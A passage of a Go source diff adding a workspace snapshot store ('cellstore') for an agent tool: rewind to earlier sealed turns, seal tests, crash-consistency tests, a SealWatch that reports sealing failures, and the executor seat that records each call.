OpenWAL(e.WALPath(c)) + if err != nil { + return err + } + if len(rec.Incomplete) > 0 { + return IncompleteError{Intents: rec.Incomplete} + } + return nil +} + +// rewindCall is the receipt row that says why this turn exists. +func (e Engine) rewindCall(target Turn) Executed { + now := e.now().UnixMilli() + return Executed{Exact: true, Call: Call{ + Tool: rewindTool, ArgsHash: hashHex([]byte(target.ID)), Started: now, Ended: now, + StdoutHash: hashHex(nil), StderrHash: hashHex(nil), SideEffect: "local", + }} +} diff --git a/internal/cellstore/rewind_test.go b/internal/cellstore/rewind_test.go new file mode 100644 index 0000000000..3776435f22 --- /dev/null +++ b/internal/cellstore/rewind_test.go @@ -0,0 +1,260 @@ +package cellstore + +import ( + "context" + "errors" + "io/fs" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// sealStep changes the folder and the transcript, then seals one turn. +func sealStep(t *testing.T, e Engine, c cell.Cell, files map[string]string, line string) Sealed { + t.Helper() + writeTree(t, c.Root, files, 0o644) + p, _ := c.Path(cell.TranscriptPath) + f, err := os.OpenFile(p, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + t.Fatal(err) + } + if _, err := f.WriteString(line + "\n"); err != nil { + t.Fatal(err) + } + _ = f.Close() + s, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("edit", line)}}) + if err != nil { + t.Fatal(err) + } + return s +} + +// contentDigest is the tree a turn holds, minus the chain's own files and the +// engine's directories. +func contentDigest(t *testing.T, root string) string { + var keep []string + for _, l := range treeDigest(t, root) { + if !strings.HasPrefix(l, ReceiptsDir) && !strings.HasPrefix(l, BlobsDir) { + keep = append(keep, l) + } + } + return strings.Join(keep, "\n") +} + +// threeTurns seals three turns and returns the content digest after each. +func threeTurns(t *testing.T) (Engine, cell.Cell, []Sealed, []string) { + e := realEngine(t) + c := newCell(t) + steps := []struct { + files map[string]string + line string + }{ + {map[string]string{"a.txt": "one\n", "d/b.txt": "b1\n"}, `{"n":1}`}, + {map[string]string{"a.txt": "two\n", "c.txt": "new\n"}, `{"n":2}`}, + {map[string]string{"d/b.txt": "b3\n"}, `{"n":3}`}, + } + var sealed []Sealed + var digests []string + for _, s := range steps { + sealed = append(sealed, sealStep(t, e, c, s.files, s.line)) + digests = append(digests, contentDigest(t, c.Root)) + } + return e, c, sealed, digests +} + +func TestRewindRestoresFilesAndTranscriptAsANewTurn(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c, s, digests := threeTurns(t) + rewound := mustRewind(t, e, c, s[0].Turn.ID) + + if got := contentDigest(t, c.Root); got != digests[0] { + t.Fatalf("content differs from turn 1.\nwant:\n%s\ngot:\n%s", digests[0], got) + } + if tr, _ := os.ReadFile(rel(c, cell.TranscriptPath)); string(tr) != "{\"n\":1}\n" { + t.Fatalf("transcript %q, want turn 1's", tr) + } + log, err := Log(c) + if err != nil || len(log) != 4 { + t.Fatalf("log has %d turns (%v), want 4", len(log), err) + } + if log[0].Turn.ID != rewound.Turn.ID || log[0].Turn.Parent != s[2].Turn.ID || log[0].Receipt.Calls[0].Tool != rewindTool { + t.Fatalf("newest %+v, want the rewind with turn 3 as parent", log[0].Turn) + } + for i, want := range []string{s[2].Turn.ID, s[1].Turn.ID, s[0].Turn.ID} { + if log[i+1].Turn.ID != want { + t.Fatalf("history entry %d is %s, want %s: rewind must not rewrite the chain", i+1, log[i+1].Turn.ID, want) + } + } + }) +} + +func TestRewindOfARewind(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c, s, digests := threeTurns(t) + back := mustRewind(t, e, c, s[0].Turn.ID) + mustRewind(t, e, c, s[2].Turn.ID) + if got := contentDigest(t, c.Root); got != digests[2] { + t.Fatalf("content differs from turn 3.\nwant:\n%s\ngot:\n%s", digests[2], got) + } + again := mustRewind(t, e, c, back.Turn.ID) + if got := contentDigest(t, c.Root); got != digests[0] { + t.Fatal("rewinding the rewind did not return to turn 1's content") + } + if log, _ := Log(c); len(log) != 6 || log[0].Turn.ID != again.Turn.ID { + t.Fatalf("log has %d turns, want 6", len(log)) + } + }) +} + +func TestRewindRefusedWhileACallIsIncomplete(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c, s, digests := threeTurns(t) + wal, _, err := OpenWAL(e.WALPath(c)) + if err != nil { + t.Fatal(err) + } + if err := wal.Begin(Intent{Tool: "deploy", ArgsHash: hashHex([]byte("x")), Started: 5, SideEffect: "external"}); err != nil { + t.Fatal(err) + } + _, err = e.Rewind(context.Background(), c, s[0].Turn.ID) + var incomplete IncompleteError + if !errors.As(err, &incomplete) || !strings.Contains(err.Error(), "deploy") { + t.Fatalf("err = %v, want an IncompleteError naming deploy", err) + } + if got := contentDigest(t, c.Root); got != digests[2] { + t.Fatal("a refused rewind changed the tree") + } + if log, _ := Log(c); len(log) != 3 { + t.Fatalf("a refused rewind sealed a turn: %d turns", len(log)) + } + }) +} + +func TestResolveNeedsExactlyOneMatch(t *testing.T) { + turns := []Turn{{ID: "abc1"}, {ID: "abd2"}} + for ref, ok := range map[string]bool{"abc": true, "ab": false, "zz": false, "": false} { + if _, err := Resolve(turns, ref); (err == nil) != ok { + t.Errorf("Resolve(%q) err=%v, want ok=%v", ref, err, ok) + } + } +} + +func mustRewind(t *testing.T, e Engine, c cell.Cell, ref string) Sealed { + t.Helper() + s, err := e.Rewind(context.Background(), c, ref) + if err != nil { + t.Fatal(err) + } + return s +} + +// chainBytes is every chain file's content by cell-relative path. +func chainBytes(t *testing.T, c cell.Cell) map[string]string { + t.Helper() + out := map[string]string{} + for _, p := range []string{TurnsPath, ReceiptsDir, BlobsDir} { + _ = filepath.WalkDir(rel(c, p), func(path string, d fs.DirEntry, err error) error { + if err == nil && !d.IsDir() { + raw, _ := os.ReadFile(path) + out[path] = string(raw) + } + return nil + }) + } + return out +} + +// dyingSeal is an engine that behaves like the real one except that the seal +// never happens: the process is gone after the restore. +func dyingSeal(e Engine) Engine { + e.Transport = sealKiller{e.transport()} + return e +} + +type sealKiller struct{ Transport } + +func (k sealKiller) Do(ctx context.Context, t Target, op Op) ([]byte, error) { + if _, sealing := op.(sealOp); sealing { + return nil, errors.New("killed before the seal") + } + return k.Transport.Do(ctx, t, op) +} + +func TestCrashBetweenRestoreAndSealLeavesTheChainWhole(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c, s, digests := threeTurns(t) + before := chainBytes(t, c) + + if _, err := dyingSeal(e).Rewind(context.Background(), c, s[0].Turn.ID); err == nil { + t.Fatal("rewind reported success though the seal died") + } + // The seal wrote the rewind's receipt before it died: an unreferenced, + // content-addressed file. Everything that was there stays byte for byte. + after := chainBytes(t, c) + for p, want := range before { + if after[p] != want { + t.Fatalf("%s changed by a rewind that never sealed", p) + } + } + if log, err := Log(c); err != nil || len(log) != 3 { + t.Fatalf("log after the crash: %d turns, %v; want the 3 sealed ones", len(log), err) + } + if got := contentDigest(t, c.Root); got != digests[0] { + t.Fatal("the restore itself did not land before the crash") + } + // The next open is consistent: sealing what is on disk extends the old head. + next, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("edit", "after crash")}}) + if err != nil || next.Turn.Parent != s[2].Turn.ID { + t.Fatalf("next seal = %+v, %v; want a child of turn 3", next.Turn, err) + } + }) +} + +func TestRewindOfAWorkspaceSealedCellRestoresTheWorkspace(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + c := newCell(t) + ws := t.TempDir() + e := realEngine(t) + e.Workspace = ws + step := func(files map[string]string, line string) Sealed { + writeTree(t, ws, files, 0o644) + f, err := os.OpenFile(rel(c, cell.TranscriptPath), os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + t.Fatal(err) + } + _, _ = f.WriteString(line + "\n") + _ = f.Close() + s, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("edit", line)}}) + if err != nil { + t.Fatal(err) + } + return s + } + first := step(map[string]string{"a.txt": "one\n"}, `{"n":1}`) + step(map[string]string{"a.txt": "two\n", "b.txt": "new\n"}, `{"n":2}`) + + rewound := mustRewind(t, e, c, first.Turn.ID) + + if raw, _ := os.ReadFile(filepath.Join(ws, "a.txt")); string(raw) != "one\n" { + t.Fatalf("workspace a.txt = %q, want turn 1's", raw) + } + if _, err := os.Stat(filepath.Join(ws, "b.txt")); !os.IsNotExist(err) { + t.Fatal("a file made after turn 1 survived the rewind") + } + if _, err := os.Stat(filepath.Join(ws, cell.StateDir)); !os.IsNotExist(err) { + t.Fatal("the rewind wrote .cell into the workspace") + } + if tr, _ := os.ReadFile(rel(c, cell.TranscriptPath)); string(tr) != "{\"n\":1}\n" { + t.Fatalf("transcript %q, want turn 1's", tr) + } + if log, err := Log(c); err != nil || len(log) != 3 || log[0].Turn.ID != rewound.Turn.ID { + t.Fatalf("log = %d turns, %v; want the rewind on top of 2", len(log), err) + } + if left, _ := filepath.Glob(filepath.Join(e.LocalDir(c), "rewind-*")); len(left) != 0 { + t.Fatalf("scratch left behind: %v", left) + } + }) +} diff --git a/internal/cellstore/seal_test.go b/internal/cellstore/seal_test.go new file mode 100644 index 0000000000..0a5aecc217 --- /dev/null +++ b/internal/cellstore/seal_test.go @@ -0,0 +1,161 @@ +package cellstore + +import ( + "bytes" + "context" + "os" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +func exec1(tool string, out string) Executed { + return Executed{Call: Call{Tool: tool, ArgsHash: hashHex([]byte(tool)), Started: 10, Ended: 20, + StdoutHash: hashHex([]byte(out)), StderrHash: hashHex(nil), SideEffect: "local"}, Exact: true} +} + +func TestSealRoundTripAndChain(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + e := fake.engine(t) + e.Now = func() time.Time { return time.UnixMilli(1759049990120) } + + transcript, _ := c.Path(cell.TranscriptPath) + if err := os.WriteFile(transcript, []byte("0123456789"), 0o600); err != nil { + t.Fatal(err) + } + first, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "hi")}}) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(transcript, []byte("0123456789abcdef"), 0o600); err != nil { + t.Fatal(err) + } + second, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("edit", "")}}) + if err != nil { + t.Fatal(err) + } + + if first.Turn.Parent != "" || second.Turn.Parent != first.Turn.ID { + t.Fatalf("parents: %q then %q, want none then %q", first.Turn.Parent, second.Turn.Parent, first.Turn.ID) + } + if first.Receipt.Transcript != (Range{0, 10}) || second.Receipt.Transcript != (Range{10, 16}) { + t.Fatalf("ranges: %+v then %+v", first.Receipt.Transcript, second.Receipt.Transcript) + } + head, err := Head(c) + if err != nil || head == nil { + t.Fatalf("head: %v %v", head, err) + } + if head.Turn.ID != second.Turn.ID || head.Turn.Receipt != second.Turn.Receipt || head.Receipt.Calls[0].Tool != "edit" { + t.Fatalf("head %+v != second %+v", head.Turn, second.Turn) + } + if second.Turn.SealedAtMs != 1759049990120 || second.Turn.Device != zeroDevice || second.Turn.Quality != Quiescent || second.Turn.Trigger != AgentRun { + t.Fatalf("turn fields %+v", second.Turn) + } + if got := fake.count("git"); got != 0 { + t.Fatalf("git ran %d times; the engine seals a folder that is not a repository", got) + } + if _, err := os.Stat(rel(c, ".git")); !os.IsNotExist(err) { + t.Fatalf("the seal left a .git directory in the folder: %v", err) + } +} + +func TestChangedPathsAreHandedToTheEngineOrTheWalkIsLeftToIt(t *testing.T) { + cases := map[string]struct { + changed []string + want string + }{ + "unknown": {nil, "--json hook turn-end --turn r"}, + "listed": {[]string{"a.txt", "d/b.txt"}, "--json hook turn-end --turn r --changed .cell --changed a.txt --changed d/b.txt"}, + "nothing": {[]string{}, "--json hook turn-end --turn r --changed .cell"}, + "too long": {make([]string, maxChangedArgs+1), "--json hook turn-end --turn r"}, + } + for name, tc := range cases { + if got := strings.Join(sealOp{Turn: "r", Changed: changedPaths(tc.changed)}.Args(), " "); got != tc.want { + t.Errorf("%s: args %q, want %q", name, got, tc.want) + } + } +} + +func TestPersistedObjectsCarryVersionFirst(t *testing.T) { + c := newCell(t) + e := (&fakeEngine{}).engine(t) + s, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "")}}) + if err != nil { + t.Fatal(err) + } + turns, _ := os.ReadFile(rel(c, TurnsPath)) + receipt, _ := os.ReadFile(rel(c, ReceiptsDir+"/"+s.Turn.Receipt+".json")) + for name, raw := range map[string][]byte{"turn": turns, "receipt": receipt} { + if !bytes.HasPrefix(raw, []byte(`{"V":1,`)) { + t.Errorf("%s does not start with V: %.40s", name, raw) + } + } + if hashHex(receipt) != s.Turn.Receipt { + t.Error("receipt id is not the hash of its bytes") + } +} + +func TestTurbulentWhenACallLeftAProcess(t *testing.T) { + c := newCell(t) + e := (&fakeEngine{}).engine(t) + x := exec1("bash", "") + x.Exact = false + x.Services = []ServiceRec{serviceRec(4711, []string{"/usr/bin/postgres", "-D", "var/pg"}, []int{5432})} + s, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{x}}) + if err != nil { + t.Fatal(err) + } + if s.Turn.Quality != Turbulent || s.Receipt.Services[0].Argv[0] != "postgres" { + t.Fatalf("%+v %+v", s.Turn, s.Receipt.Services) + } +} + +func TestExternalOutputIsStoredAndLocalIsHashedOnly(t *testing.T) { + c := newCell(t) + e := (&fakeEngine{}).engine(t) + ext := exec1("bash", "body") + ext.Call.SideEffect, ext.Stdout = "external", []byte("body") + loc := exec1("edit", "") + if _, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{ext, loc}}); err != nil { + t.Fatal(err) + } + got, err := os.ReadFile(rel(c, BlobsDir+"/"+ext.Call.StdoutHash)) + if err != nil || string(got) != "body" { + t.Fatalf("blob %q %v", got, err) + } + if entries, _ := os.ReadDir(rel(c, BlobsDir)); len(entries) != 1 { + t.Fatalf("%d blobs, want only the external call's", len(entries)) + } +} + +func TestSealRestoresMetaAToolEdited(t *testing.T) { + c := newCell(t) + e := (&fakeEngine{}).engine(t) + path, _ := c.Path(cell.MetaPath) + want, _ := os.ReadFile(path) + if err := os.WriteFile(path, []byte(`{"V":1,"class":"host-bound"}`), 0o600); err != nil { + t.Fatal(err) + } + if _, err := e.Seal(context.Background(), c, TurnInfo{}); err != nil { + t.Fatal(err) + } + if got, _ := os.ReadFile(path); !bytes.Equal(got, want) { + t.Fatalf("meta.json after seal: %s", strings.TrimSpace(string(got))) + } +} + +func TestSealFailureLeavesNoTurn(t *testing.T) { + c := newCell(t) + e := Engine{Binary: "engine", DataRoot: t.TempDir(), Run: func(context.Context, string, []string, ...string) ([]byte, error) { + return []byte("not json"), nil + }} + if _, err := e.Seal(context.Background(), c, TurnInfo{}); err == nil { + t.Fatal("want an error for an answer that is not a snapshot id") + } + if head, _ := Head(c); head != nil { + t.Fatalf("a failed seal recorded %+v", head.Turn) + } +} diff --git a/internal/cellstore/sealwatch.go b/internal/cellstore/sealwatch.go new file mode 100644 index 0000000000..a875153ab7 --- /dev/null +++ b/internal/cellstore/sealwatch.go @@ -0,0 +1,173 @@ +package cellstore + +import ( + "sync" + "time" +) + +// TailQuiet is how long the record must be still, after a turn ended, before +// the writes that came after the turn-end seal are sealed. Titles, summaries and +// memories are written seconds after the answer, in bursts; one seal after the +// burst covers all of it and costs one upload. +const TailQuiet = 2 * time.Second + +// SealWatch remembers whether the last seal held, so a seat that stops sealing +// is a state a person can see for as long as it lasts and not one sentence +// said once per launch. +// +// IT IS THE ONE HOLDER OF THAT FACT. The recorder reports every seal's outcome +// to [SealWatch.Report]; a surface asks [SealWatch.Failing] to draw its status +// segment and drains [SealWatch.Take] for the sentences worth saying. Three +// changes are worth a sentence and nothing else is: sealing starting to fail, +// its cause changing while it is still failing, and sealing recovering. The +// same failure repeating is the segment's business, never another line. +// +// The zero value is ready to use, and safe for concurrent use. A door with no +// surface to draw a segment on sets Say, and the sentences go there as they +// happen instead of waiting to be taken. +type SealWatch struct { + // Say, when set, receives each sentence as it happens. + Say func(string) + // OnTurnEnd, when set, hears each time the agent finishes a turn. The door + // sets it to the sync side's idle call. + OnTurnEnd func() + // OnTail, when set, is called once the record has been quiet for Quiet after + // writes that came behind the turn-end seal. The door seals the tree and asks + // the sync side to upload, exactly as it does at the end of a turn, so there + // is one way to make a record durable and this is only another moment to use + // it. + OnTail func() + // Quiet is TailQuiet unless a test sets it shorter. + Quiet time.Duration + mu sync.Mutex + idle bool + tail *time.Timer + cause string + said []string + failing bool +} + +// Report takes the outcome of one seal: nil when it held, the error when it did +// not. It matches [Options.Report], so a watch's method is the recorder's hook. +func (w *SealWatch) Report(err error) { + w.mu.Lock() + defer w.mu.Unlock() + if err == nil { + w.recover() + return + } + w.fail(err.Error()) +} + +// Note says a sentence that is not about a seal failing, such as a file the +// guard kept out of the saved history. It never changes whether sealing is +// failing, and it travels the same road as the watch's own sentences. +func (w *SealWatch) Note(sentence string) { + w.mu.Lock() + defer w.mu.Unlock() + w.say(sentence) +} + +func (w *SealWatch) fail(cause string) { + switch { + case !w.failing: + w.say("calls are not being sealed, so rewind cannot reach them: " + cause) + case cause != w.cause: + w.say("sealing still fails, for a different reason: " + cause) + } + w.failing, w.cause = true, cause +} + +func (w *SealWatch) recover() { + if w.failing { + w.say("sealing works again, and the calls made meanwhile are sealed now") + } + w.failing, w.cause = false, "" +} + +func (w *SealWatch) say(sentence string) { + if w.Say != nil { + w.Say(sentence) + return + } + w.said = append(w.said, sentence) +} + +// TurnStarted is the session's word that a turn began: the turn writes the +// record itself and every call seals it, so no tail seal is owed. +func (w *SealWatch) TurnStarted() { + w.mu.Lock() + defer w.mu.Unlock() + w.idle = false + w.stopTail() +} + +// Wrote is the session's word that something the chat owns was written: a line +// of its transcript or a row of its memories. Written while the agent waits for +// the person, it is behind the last seal and no turn is coming to seal it, so a +// trailing seal is owed once the writes stop. Each write moves it back, so a +// burst of them is one seal. +func (w *SealWatch) Wrote() { + w.mu.Lock() + defer w.mu.Unlock() + if !w.idle || w.OnTail == nil { + return + } + w.stopTail() + w.tail = time.AfterFunc(w.quiet(), w.sealTail) +} + +func (w *SealWatch) quiet() time.Duration { + if w.Quiet > 0 { + return w.Quiet + } + return TailQuiet +} + +func (w *SealWatch) stopTail() { + if w.tail != nil { + w.tail.Stop() + w.tail = nil + } +} + +func (w *SealWatch) sealTail() { + w.mu.Lock() + owed := w.idle && w.tail != nil + w.tail = nil + w.mu.Unlock() + if owed { + w.OnTail() + } +} + +// TurnEnded is the session's word that the agent finished a turn. It only +// forwards, so a watch without a listener costs nothing. +func (w *SealWatch) TurnEnded() { + w.mu.Lock() + w.idle = true + w.stopTail() + w.mu.Unlock() + if w.OnTurnEnd != nil { + w.OnTurnEnd() + } +} + +// Failing reports whether the most recent seal failed. +func (w *SealWatch) Failing() bool { + w.mu.Lock() + defer w.mu.Unlock() + return w.failing +} + +// Take hands over the oldest sentence not yet read, or "" when there is none. +func (w *SealWatch) Take() string { + w.mu.Lock() + defer w.mu.Unlock() + if len(w.said) == 0 { + return "" + } + sentence := w.said[0] + w.said = w.said[1:] + return sentence +} diff --git a/internal/cellstore/sealwatch_test.go b/internal/cellstore/sealwatch_test.go new file mode 100644 index 0000000000..47d6630d6a --- /dev/null +++ b/internal/cellstore/sealwatch_test.go @@ -0,0 +1,170 @@ +package cellstore + +import ( + "context" + "errors" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +func TestSealWatchFailureIsVisibleAndSaidOnce(t *testing.T) { + var w SealWatch + w.Report(errors.New("disk full")) + w.Report(errors.New("disk full")) + if !w.Failing() { + t.Fatal("a failed seal must leave the watch failing") + } + first := w.Take() + if !strings.Contains(first, "not being sealed") || !strings.Contains(first, "disk full") { + t.Fatalf("first sentence %q", first) + } + if again := w.Take(); again != "" { + t.Fatalf("the same failure said again: %q", again) + } + if !w.Failing() { + t.Fatal("saying the sentence must not clear the state") + } +} + +func TestSealWatchRecoveryIsSaidAndClearsTheState(t *testing.T) { + var w SealWatch + w.Report(errors.New("disk full")) + w.Take() + w.Report(nil) + if w.Failing() { + t.Fatal("a seal that held must clear the state") + } + if got := w.Take(); !strings.Contains(got, "works again") { + t.Fatalf("recovery sentence %q", got) + } + w.Report(nil) + if got := w.Take(); got != "" { + t.Fatalf("a healthy seal after a healthy seal said %q", got) + } +} + +func TestSealWatchCauseChangeIsSaidAgain(t *testing.T) { + var w SealWatch + w.Report(errors.New("disk full")) + w.Take() + w.Report(errors.New("engine not found")) + if got := w.Take(); !strings.Contains(got, "different reason") || !strings.Contains(got, "engine not found") { + t.Fatalf("cause change sentence %q", got) + } +} + +func TestSealWatchFailingAgainAfterRecoveryIsANewFailure(t *testing.T) { + var w SealWatch + w.Report(errors.New("disk full")) + w.Report(nil) + w.Take() + w.Take() + w.Report(errors.New("disk full")) + if got := w.Take(); !strings.Contains(got, "not being sealed") { + t.Fatalf("second failure sentence %q", got) + } +} + +// The recorder is what feeds the watch: a seal that fails leaves it failing, +// and the next seal that holds clears it. +func TestRecorderFeedsTheSealWatch(t *testing.T) { + c := newCell(t) + fail := true + e := (&fakeEngine{}).engine(t) + good := e.Run + e.Run = func(ctx context.Context, d string, env []string, argv ...string) ([]byte, error) { + if fail && len(argv) > 2 && argv[2] == "hook" { + return nil, errors.New("disk full") + } + return good(ctx, d, env, argv...) + } + var w SealWatch + r, err := NewRecorder(&stubExec{}, e, c, filepath.Join(t.TempDir(), "wal"), Options{Report: w.Report}) + if err != nil { + t.Fatal(err) + } + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "one"), nil); err != nil { + t.Fatal(err) + } + if !w.Failing() { + t.Fatal("a failed seal must show") + } + fail = false + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "two"), nil); err != nil { + t.Fatal(err) + } + if w.Failing() { + t.Fatal("a seal that held must clear it") + } +} + +// A turn ending reaches whoever the door named, and costs nothing when nobody +// listens. +func TestSealWatchForwardsTurnEnd(t *testing.T) { + var w SealWatch + w.TurnEnded() // no listener: nothing happens + heard := 0 + w.OnTurnEnd = func() { heard++ } + w.TurnEnded() + w.TurnEnded() + if heard != 2 { + t.Fatalf("heard %d turn ends, want 2", heard) + } +} + +// Writes behind the turn-end seal are sealed once, after they stop: a burst of +// them is one seal, and nothing is sealed while a turn is running. +func TestSealWatchSealsTheTailOnceAfterTheWritesStop(t *testing.T) { + tails := make(chan struct{}, 8) + w := &SealWatch{Quiet: 30 * time.Millisecond, OnTail: func() { tails <- struct{}{} }} + + w.Wrote() // before any turn has ended nothing is owed: the turn's own seal is coming + w.TurnEnded() + for range 5 { + w.Wrote() + time.Sleep(5 * time.Millisecond) + } + select { + case <-tails: + case <-time.After(2 * time.Second): + t.Fatal("the writes behind the turn-end seal were never sealed") + } + select { + case <-tails: + t.Fatal("one burst of writes made more than one tail seal") + case <-time.After(100 * time.Millisecond): + } + + w.Wrote() + w.TurnStarted() // the next turn seals its own writes + select { + case <-tails: + t.Fatal("a tail seal fired inside a turn") + case <-time.After(100 * time.Millisecond): + } +} + +func TestSealWatchNoteIsSaidAndDoesNotFailTheState(t *testing.T) { + var w SealWatch + w.Note("zero.txt cannot be read here, so it is left out of the saved history until its permissions allow it") + if w.Failing() { + t.Fatal("a note is not a failed seal") + } + if got := w.Take(); !strings.Contains(got, "zero.txt") { + t.Fatalf("note not handed to the surface: %q", got) + } +} + +func TestWithNoticesSendsTheGuardsLineToTheSurface(t *testing.T) { + var said []string + e := Engine{} + WithNotices(func(line string) { said = append(said, line) })(&e) + e.Guard.notify("one line") + if len(said) != 1 || said[0] != "one line" { + t.Fatalf("guard notice went elsewhere: %q", said) + } +} diff --git a/internal/cellstore/seat.go b/internal/cellstore/seat.go new file mode 100644 index 0000000000..7010dcd283 --- /dev/null +++ b/internal/cellstore/seat.go @@ -0,0 +1,134 @@ +package cellstore + +import ( + "context" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/chatfiles" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/taskcopy" +) + +// SeatFor builds the executor a session owns: every call runs under the class +// the cell declared and each tool call is logged and the +// workspace sealed when it returns. This is the one place a session's +// executor is made. +// +// obs, when set, sees every process the seat ran and every tool a shell call's +// command line started (the inventory's observer). +// report is told of a seal that failed; the call it followed is never failed +// by it. +func SeatFor(class executor.Class, c cell.Cell, workspace string, obs executor.Observer, report func(error)) (executor.Seat, error) { + return SeatOver(class, c, workspace, obs, report, nil) +} + +// SeatOver is SeatFor with the store every seal goes through decorated by +// over, which is handed the cell's engine. A nil over seals on the engine +// itself. It is how a chat that syncs notes each turn it seals. +func SeatOver(class executor.Class, c cell.Cell, workspace string, obs executor.Observer, report func(error), over func(Engine) Store, opts ...SeatOption) (executor.Seat, error) { + base := executor.Stance{Class: class, Observer: obs, Secrets: vaultEnv{c}} + if !cell.Available() { + return executor.Watching(base, obs), nil + } + engine := EngineFor(workspace) + for _, opt := range opts { + opt(&engine) + } + var store Store = engine + if over != nil { + store = over(engine) + } + rec, err := recorderFor(base.In(workspace), store, c, Options{Report: report, Refresh: refreshOf(obs), Async: engine.pipeline}) + if err != nil { + return executor.Watching(base, obs), err + } + if engine.warm { + rec.Warm(context.Background()) + } + return executor.Watching(sealed{Stance: base, rec: rec}, obs), nil +} + +// SeatOption adjusts the engine a seat seals through. +type SeatOption func(*Engine) + +// WithPipeline returns command results while their capture finishes. Every next +// call and close still drains the same recorder, with a bounded wait (D3). +func WithPipeline() SeatOption { return func(e *Engine) { e.pipeline = true } } + +// WithWarmCapture starts the first screened capture as soon as the seat opens, +// rather than leaving a cold attachment for the second command (E2). +func WithWarmCapture() SeatOption { return func(e *Engine) { e.warm = true } } + +// WithNotices sends the guard's one-line notices (a file kept out of the saved +// history, and why) to say instead of to stderr, which a full-screen surface +// cannot show. A door with a surface passes where its sentences go. +func WithNotices(say func(string)) SeatOption { + return func(e *Engine) { e.Guard.Notify = say } +} + +// EngineFor is the store of a cell whose session works in workspace: it seals +// the whole workspace, with the cell's own .cell/ directory composed in as the +// tree's .cell/ entry, so the receipts and the chain live in the cell and +// nothing is written into the workspace. An empty workspace seals the cell's +// folder itself. It is the one place an Engine is derived for a cell: the +// session's seat and the `cell` verbs both come here, so a rewind restores the +// tree that was sealed. +func EngineFor(workspace string) Engine { + return Engine{Workspace: workspace, Compose: Composers{taskcopy.Carry{}, chatfiles.Carry{}}, Guard: Guard{Ledger: keys.NewLedger(), index: &captureIndex{}}} +} + +func recorderFor(inner executor.Executor, store Store, c cell.Cell, opts Options) (*Recorder, error) { + return NewRecorder(inner, store, c, Engine{}.WALPath(c), opts) +} + +// sealed is a seat whose tool calls all go through one recorder. Its processes +// are the stance's own; what is added is the record around each call. +type sealed struct { + executor.Stance + rec *Recorder +} + +// ForSetup implements executor.SetupSeat: the same recorder, and every call is +// a setup turn's, so the seal says so. +func (s sealed) ForSetup() executor.Seat { + s.Stance.Setup = true + return s +} + +// Interrupted implements executor.Interruptible. +func (s sealed) Interrupted() executor.Interrupted { return s.rec.Interrupted() } + +// Around implements executor.Seat. +func (s sealed) Around(ctx context.Context, call executor.Call, run func() ([]byte, bool)) error { + effect := executor.Classify(executor.PolicyFor(s.Class, s.Setup)) + return s.rec.Around(ctx, call, effect, s.trigger(), run) +} + +// Drain implements executor.Drainer: process exit keeps the pending capture. +func (s sealed) Drain(ctx context.Context) error { return s.rec.Drain(ctx) } + +// Settle implements executor.Settler. +func (s sealed) Settle(ctx context.Context) { s.rec.Settle(ctx) } + +func (s sealed) trigger() Trigger { + if s.Setup { + return Setup + } + return AgentRun +} + +// NoteModelCall implements executor.ModelNoter. +func (s sealed) NoteModelCall(m executor.ModelCall) { s.rec.NoteModelCall(m) } + +// refresher is an observer that keeps a record of what is running and brings it +// up to date on request. +type refresher interface{ Refresh() } + +// refreshOf is the observer's Refresh, and no hook for an observer that has none. +func refreshOf(obs executor.Observer) func() { + if r, ok := obs.(refresher); ok { + return r.Refresh + } + return nil +} diff --git a/internal/cellstore/seat_test.go b/internal/cellstore/seat_test.go new file mode 100644 index 0000000000..fea856cff5 --- /dev/null +++ b/internal/cellstore/seat_test.go @@ -0,0 +1,190 @@ +package cellstore + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +// C27.7 exercises this behaviour without an opt-in switch. +func TestSeatIsPlainWithoutAnEngine(t *testing.T) { + t.Cleanup(cell.UseAvailabilityInTests(false)) + seat, err := SeatFor(executor.Sandboxed, newCell(t), t.TempDir(), nil, nil) + if err != nil { + t.Fatal(err) + } + if _, ok := seat.(executor.Stance); !ok { + t.Fatalf("unavailable engine built %T, want a plain stance with no recorder", seat) + } +} + +func TestComposedEngineSealsTheWorkspaceAndKeepsTheCellOutOfIt(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + c := newCell(t) + workspace := t.TempDir() + if err := os.WriteFile(filepath.Join(workspace, "a.txt"), []byte("one"), 0o600); err != nil { + t.Fatal(err) + } + engine := realEngine(t) + engine.Workspace = workspace + sealed, err := engine.Seal(context.Background(), c, TurnInfo{Trigger: AgentRun}) + if err != nil { + t.Fatal(err) + } + if sealed.Turn.ID == "" { + t.Fatal("no turn sealed") + } + if _, err := os.Stat(filepath.Join(c.Root, TurnsPath)); err != nil { + t.Fatalf("the chain is not in the cell: %v", err) + } + // The engine still leaves its own .furrow/ identity marker in the tree it + // attaches (repository.rs WORKSPACE_FILE); that is the engine's to move. + for _, litter := range []string{cell.StateDir, ".git"} { + if _, err := 